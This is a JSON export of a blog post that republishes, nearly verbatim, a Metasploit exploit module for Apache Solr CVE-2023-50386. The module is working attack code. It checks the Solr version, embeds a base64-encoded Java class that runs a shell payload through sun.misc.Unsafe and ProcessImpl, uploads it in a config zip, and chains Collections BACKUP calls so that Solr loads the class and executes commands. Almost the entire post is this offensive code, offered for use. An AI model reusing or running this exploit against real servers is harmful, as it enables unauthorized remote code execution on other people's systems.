{"id":56422,"date":"2024-04-24T19:40:25","date_gmt":"2024-04-24T15:40:25","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178255\/apache_solr_backup_restore.rb.txt"},"modified":"2024-04-24T19:40:25","modified_gmt":"2024-04-24T15:40:25","slug":"apache-solr-backup-restore-api-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-solr-backup-restore-api-remote-code-execution\/","title":{"rendered":"Apache Solr Backup\/Restore API Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Java<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HTTP::ApacheSolr<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Apache Solr Backup\/Restore APIs RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File<br \/>with Dangerous Type vulnerability which can result in remote code execution in the context of the user running<br \/>Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load<br \/>some classes from it. The backup function of the Collection can export malicious class files uploaded by<br \/>attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution<br \/>can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;l3yx&#8217;, # discovery<br \/>&#8216;jheysel-r7&#8217; # module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/xz.aliyun.com\/t\/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/rapid7\/metasploit-framework\/issues\/18919&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/vvmdx\/Apache-Solr-RCE_CVE-2023-50386_POC&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2023-50386&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/>}<br \/>]],<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;BadChars&#8217; =&gt; &#8220;\\x20&#8221;<br \/>},<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;FETCH_WRITABLE_DIR&#8217; =&gt; &#8216;\/tmp\/&#8217;<br \/>},<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-02-24&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8983),<br \/>OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;Solr username&#8217;, &#8216;solr&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;Solr password&#8217;]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [false, &#8216;Path to Solr&#8217;, &#8216;solr&#8217;]),<br \/>])<br \/>end<\/p>\n<p># If authentication is used<br \/>@auth_string = &#8221;<\/p>\n<p>def check<br \/>print_status(&#8216;Running check method&#8217;)<br \/>auth_res = solr_check_auth<br \/>unless auth_res<br \/>return CheckCode::Unknown(&#8216;Authentication failed!&#8217;)<br \/>end<\/p>\n<p># convert to JSON<br \/>ver_json = auth_res.get_json_document<br \/># get Solr version<br \/>solr_version = Rex::Version.new(ver_json[&#8216;lucene&#8217;][&#8216;solr-spec-version&#8217;])<br \/>print_status(&#8220;Found Apache Solr #{solr_version}&#8221;)<br \/># get OS version details<br \/>@target_platform = ver_json[&#8216;system&#8217;][&#8216;name&#8217;]target_arch = ver_json[&#8216;system&#8217;][&#8216;arch&#8217;]target_osver = ver_json[&#8216;system&#8217;][&#8216;version&#8217;]print_status(&#8220;OS version is #{@target_platform} #{target_arch} #{target_osver}&#8221;)<\/p>\n<p>unless solr_version.between?(Rex::Version.new(&#8216;6.0.0&#8217;), Rex::Version.new(&#8216;8.11.2&#8217;)) ||<br \/>solr_version.between?(Rex::Version.new(&#8216;9.0.0&#8217;), Rex::Version.new(&#8216;9.4.0&#8217;))<br \/>return CheckCode::Safe(&#8216;Running version of Solr is not vulnerable!&#8217;)<br \/>end<\/p>\n<p>CheckCode::Appears(&#8220;Found Apache Solr version: #{ver_json[&#8216;lucene&#8217;][&#8216;solr-spec-version&#8217;]}&#8221;)<br \/>end<\/p>\n<p># This method returns the compiled byte code of the following class, SourceParser.java:<br \/>#<br \/># package zk_backup_0.configs.confname;<br \/>#<br \/># import sun.misc.Unsafe;<br \/># import java.io.BufferedReader;<br \/># import java.io.File;<br \/># import java.io.FileOutputStream;<br \/># import java.io.InputStreamReader;<br \/># import java.lang.reflect.Field;<br \/># import java.lang.reflect.Method;<br \/># import java.security.ProtectionDomain;<br \/># import java.util.Map;<br \/>#<br \/>#<br \/># public class SourceParser {<br \/>#<br \/># static {<br \/># try {<br \/># Field unsafeField = Unsafe.class.getDeclaredField(&#8220;theUnsafe&#8221;);<br \/># unsafeField.setAccessible(true);<br \/># Unsafe unsafe = (Unsafe) unsafeField.get(null);<br \/># Module module = Object.class.getModule();<br \/># Class&lt;?&gt; currentClass = SourceParser.class;<br \/># long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField(&#8220;module&#8221;));<br \/># unsafe.getAndSetObject(currentClass, addr, module);<br \/>#<br \/># String[] cmd = {&#8220;bash&#8221;, &#8220;-c&#8221;, &#8220;METASPLOIT_PAYLOAD&#8221; };<br \/># Class clz = Class.forName(&#8220;java.lang.ProcessImpl&#8221;);<br \/># Method method = clz.getDeclaredMethod(&#8220;start&#8221;, String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);<br \/># method.setAccessible(true);<br \/># Process process = (Process) method.invoke(clz, cmd, null, null, null, false);<br \/># } catch (Exception e) {<br \/># e.printStackTrace();<br \/># }<br \/># }<br \/># }<br \/>def go_go_gadget(configuration1_name)<br \/>gadget = &#8221;<br \/>gadget &lt;&lt; &#8216;yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW&#8217;<br \/>gadget &lt;&lt; &#8216;BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv&#8217;<br \/>gadget &lt;&lt; &#8216;bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh&#8217;<br \/>gadget &lt;&lt; &#8216;L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll&#8217;<br \/>gadget &lt;&lt; &#8216;bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P&#8217;<br \/>gadget &lt;&lt; &#8216;YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh&#8217;<br \/>gadget &lt;&lt; &#8216;L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy&#8217;<br \/>gadget &lt;&lt; &#8216;c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh&#8217;<br \/>gadget &lt;&lt; &#8216;bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv&#8217;<br \/>gadget &lt;&lt; &#8216;bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq&#8217;<br \/>gadget &lt;&lt; &#8216;YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE&#8217;<br \/>gadget &lt;&lt; &#8216;CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv&#8217;<br \/>gadget &lt;&lt; &#8216;bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu&#8217;<br \/>gadget &lt;&lt; &#8216;Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls&#8217;<br \/>gadget &lt;&lt; &#8216;ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM&#8217;<br \/>gadget &lt;&lt; &#8216;amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s&#8217;<br \/>gadget &lt;&lt; &#8216;YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK&#8217;<br \/>gadget &lt;&lt; &#8216;AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW&#8217;<br \/>gadget &lt;&lt; &#8216;KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P&#8217;<br \/>gadget &lt;&lt; &#8216;YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh&#8217;<br \/>gadget &lt;&lt; &#8216;bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj&#8217;<br \/>gadget &lt;&lt; &#8216;a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs&#8217;<br \/>gadget &lt;&lt; &#8216;ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph&#8217;<br \/>gadget &lt;&lt; &#8216;dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp&#8217;<br \/>gadget &lt;&lt; &#8216;bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA&#8217;<br \/>gadget &lt;&lt; &#8216;AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM&#8217;<br \/>gadget &lt;&lt; &#8216;EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1&#8217;<br \/>gadget &lt;&lt; &#8216;OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD&#8217;<br \/>gadget &lt;&lt; &#8216;GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC&#8217;<br \/>gadget &lt;&lt; &#8216;ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA&#8217;<br \/>gadget &lt;&lt; &#8216;HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk=&#8217;<br \/>gadget = Rex::Text.decode_base64(gadget)<br \/># Replace &#8216;confname&#8217; with our randomized 8 character configuration name<br \/>gadget.sub!(&#8216;confname&#8217;, configuration1_name)<br \/># Replace the placeholder payload with our packed payload which is prefixed with it&#8217;s size.<br \/>gadget.sub!(&#8220;\\x00\\x12METASPLOIT_PAYLOAD&#8221;, packed_payload(payload.encoded))<br \/>end<\/p>\n<p>def packed_payload(pload)<br \/>&#8220;#{[pload.length].pack(&#8216;n&#8217;)}#{pload}&#8221;<br \/>end<\/p>\n<p>def create_zip<br \/>zip_file = Rex::Zip::Archive.new<br \/>directory_to_zip = File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2023-50386&#8217;, &#8216;conf&#8217;)<\/p>\n<p>Dir.glob(File.join(directory_to_zip, &#8216;**&#8217;, &#8216;*&#8217;)).each do |file_path|<br \/>if File.file?(file_path)<br \/>relative_path = file_path.sub(&#8220;#{directory_to_zip}\/&#8221;, &#8221;) # Get relative path<br \/>file_contents = File.read(file_path)<br \/>zip_file.add_file(relative_path, file_contents)<br \/>elsif File.directory?(file_path)<br \/>relative_path = file_path.sub(&#8220;#{directory_to_zip}\/&#8221;, &#8221;) # Get relative path<br \/>zip_file.add_file(relative_path, nil, recursive: true)<br \/>end<br \/>end<\/p>\n<p>zip_file<br \/>end<\/p>\n<p>def upload_conf(file_name, zip_archive, conf_name)<br \/>mime = Rex::MIME::Message.new<br \/>mime.add_part(zip_archive, &#8216;application\/octet-stream&#8217;, &#8216;binary&#8217;, &#8220;form-data; filename=\\&#8221;#{file_name}\\&#8221;&#8221;)<\/p>\n<p>res = solr_post({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;configs&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/octet-stream&#8217;,<br \/>&#8216;data&#8217; =&gt; zip_archive,<br \/>&#8216;auth&#8217; =&gt; @auth_string,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;UPLOAD&#8217;,<br \/>&#8216;name&#8217; =&gt; conf_name<br \/>}<br \/>})<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;No response from the target&#8217;) unless res<br \/>fail_with(Failure::UnexpectedReply, &#8220;Unexpected response code: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p>data = res.get_json_document<br \/>if data.dig(&#8216;responseHeader&#8217;, &#8216;status&#8217;) == 0<br \/>print_good(&#8216;Uploaded configuration successfully&#8217;)<br \/>elsif data.dig(&#8216;error&#8217;, &#8216;msg&#8217;)<br \/>fail_with(Failure::UnexpectedReply, &#8220;Failed to upload configuration. Target responded with error: #{data[&#8216;error&#8217;][&#8216;msg&#8217;]}&#8221;)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8220;Failed to upload configuration: #{conf_name} to the target&#8221;)<br \/>end<br \/>res<br \/>end<\/p>\n<p>def create_collection(collection_name, configuration_name)<br \/>solr_get({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;collections&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;auth&#8217; =&gt; @auth_string,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;CREATE&#8217;,<br \/>&#8216;name&#8217; =&gt; collection_name,<br \/>&#8216;numShards&#8217; =&gt; 1,<br \/>&#8216;replicationFactor&#8217; =&gt; 1,<br \/>&#8216;wt&#8217; =&gt; &#8216;json&#8217;,<br \/>&#8216;collection.configName&#8217; =&gt; configuration_name<br \/>}<br \/>})<br \/>end<\/p>\n<p>def backup_collection(collection_name, location, backup_name)<br \/>res = solr_get({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;collections&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;auth&#8217; =&gt; @auth_string,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;BACKUP&#8217;,<br \/>&#8216;collection&#8217; =&gt; collection_name,<br \/>&#8216;location&#8217; =&gt; location,<br \/>&#8216;name&#8217; =&gt; backup_name<br \/>}<br \/>})<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;No response from the target&#8217;) unless res<\/p>\n<p>data = res.get_json_document<\/p>\n<p>if data.dig(&#8216;responseHeader&#8217;, &#8216;status&#8217;) == 0<br \/>print_good(&#8216;Backed up collection successfully&#8217;)<br \/>elsif data.dig(&#8216;error&#8217;, &#8216;msg&#8217;)<br \/>fail_with(Failure::UnexpectedReply, &#8220;Failed to Backup configuration. Target responded with error: #{data[&#8216;error&#8217;][&#8216;msg&#8217;]}&#8221;)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8220;Failed to create collection: #{collection_name} successfully&#8221;)<br \/>end<br \/>res<br \/>end<\/p>\n<p>def cleanup<br \/>print_status(&#8216;Cleaning up&#8230;&#8217;)<\/p>\n<p># Clean up collections and configurations<br \/># Delete the collection first then the configs or you&#8217;ll get the following error:<br \/># &#8220;Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]&#8221;<br \/>if @collection_res&amp;.code == 200<br \/>delete_collection_res = solr_get({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;collections&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;auth&#8217; =&gt; @auth_string,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;DELETE&#8217;,<br \/>&#8216;name&#8217; =&gt; @collection1_name<br \/>}<br \/>})<br \/>print_error(&#8220;Unable to delete collection: #{@collection1_name}&#8221;) unless delete_collection_res&amp;.code == 200<br \/>end<\/p>\n<p>if @conf1_res&amp;.code == 200<br \/>delete_conf1_res = solr_get({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;configs&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;auth&#8217; =&gt; @auth_string,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;DELETE&#8217;,<br \/>&#8216;name&#8217; =&gt; @configuration1_name<br \/>}<br \/>})<br \/>print_error(&#8220;Unable to delete config: #{@configuration1_name}&#8221;) unless delete_conf1_res&amp;.code == 200<br \/>end<\/p>\n<p>if @conf2_res&amp;.code == 200<br \/>delete_conf2_res = solr_get({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;configs&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;auth&#8217; =&gt; @auth_string,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;DELETE&#8217;,<br \/>&#8216;name&#8217; =&gt; @configuration2_name<br \/>}<br \/>})<br \/>print_error(&#8220;Unable to delete config: #{@configuration2_name}&#8221;) unless delete_conf2_res&amp;.code == 200<br \/>end<br \/>end<\/p>\n<p>def exploit<br \/>@collection1_name = Rex::Text.rand_text_alpha(8)<br \/>@configuration1_name = Rex::Text.rand_text_alpha_lower(8)<br \/>@collection2_name = Rex::Text.rand_text_alpha(8)<\/p>\n<p># Zip up conf1<br \/>conf1_zip = create_zip<br \/>conf1_zip.add_file(&#8216;SourceParser.class&#8217;, go_go_gadget(@configuration1_name))<br \/>conf1_zip.add_file(&#8216;solrconfig.xml&#8217;, File.read(File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2023-50386&#8217;, &#8216;solrconfig.xml&#8217;)))<\/p>\n<p># Upload conf1<br \/>@conf1_res = upload_conf(@configuration1_name + &#8216;.zip&#8217;, conf1_zip.pack, @configuration1_name)<\/p>\n<p># Create collection from conf1<br \/>@collection_res = create_collection(@collection1_name, @configuration1_name)<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;No response from the target&#8217;) unless @collection_res<br \/>data = @collection_res.get_json_document<br \/>if @collection_res.code == 200 &amp;&amp; data[&#8216;responseHeader&#8217;][&#8216;status&#8217;] == 0<br \/>vprint_good(&#8216;Created collection successfully&#8217;)<br \/>elsif data[&#8216;error&#8217;][&#8216;msg&#8217;]fail_with(Failure::UnexpectedReply, &#8220;Failed to upload configuration. Target responded with error: #{data[&#8216;error&#8217;][&#8216;msg&#8217;]}&#8221;)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8220;Failed to create collection: #{collection_name} successfully&#8221;)<br \/>end<\/p>\n<p># Backup collection and export conf1<br \/>location = &#8216;\/var\/solr\/data\/&#8217;<br \/>backup_name = &#8220;#{@collection2_name}_shard1_replica_n1&#8221;<br \/>backup_collection(@collection1_name, location, backup_name)<\/p>\n<p># Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:<br \/>location = &#8220;\/var\/solr\/data\/#{backup_name}&#8221;<br \/>backup_name = &#8216;lib&#8217;<br \/>backup_collection(@collection1_name, location, backup_name)<\/p>\n<p># Zip up conf2<br \/>conf2_zip = create_zip<br \/>editted_solrconfig = File.read(File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2023-50386&#8217;, &#8216;solrconfig.xml&#8217;))<br \/>editted_solrconfig = editted_solrconfig.gsub(&#8216;&lt;\/config&gt;&#8217;, &#8221; &lt;valueSourceParser name=\\&#8221;myfunc\\&#8221; class=\\&#8221;zk_backup_0.configs.#{@configuration1_name}.SourceParser\\&#8221; \/&gt;\\n&lt;\/config&gt;&#8221;)<br \/>conf2_zip.add_file(&#8216;solrconfig.xml&#8217;, editted_solrconfig)<\/p>\n<p># Upload conf2<br \/>@configuration2_name = Rex::Text.rand_text_alpha(8)<br \/>@conf2_res = upload_conf(&#8216;conf2.zip&#8217;, conf2_zip.pack, @configuration2_name)<\/p>\n<p># Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the<br \/># first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)<br \/>res = create_collection(@collection2_name, @configuration2_name)<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;No response from the target&#8217;) unless res<br \/>data = res&amp;.get_json_document<br \/>if res.code == 400 &amp;&amp; data[&#8216;error&#8217;][&#8216;msg&#8217;] == &#8220;Underlying core creation failed while creating collection: #{@collection2_name}&#8221;<br \/>print_good(&#8216;Successfully dropped the payload&#8217;)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8220;Failed to create collection: #{@configuration2_name} successfully&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Javainclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::ApacheSolr def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Apache Solr Backup\/Restore APIs RCE&#8217;,&#8216;Description&#8217; =&gt; %q{Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of Filewith Dangerous Type vulnerability which can result &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56422","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56422","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56422"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56422\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56422"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56422"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56422"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}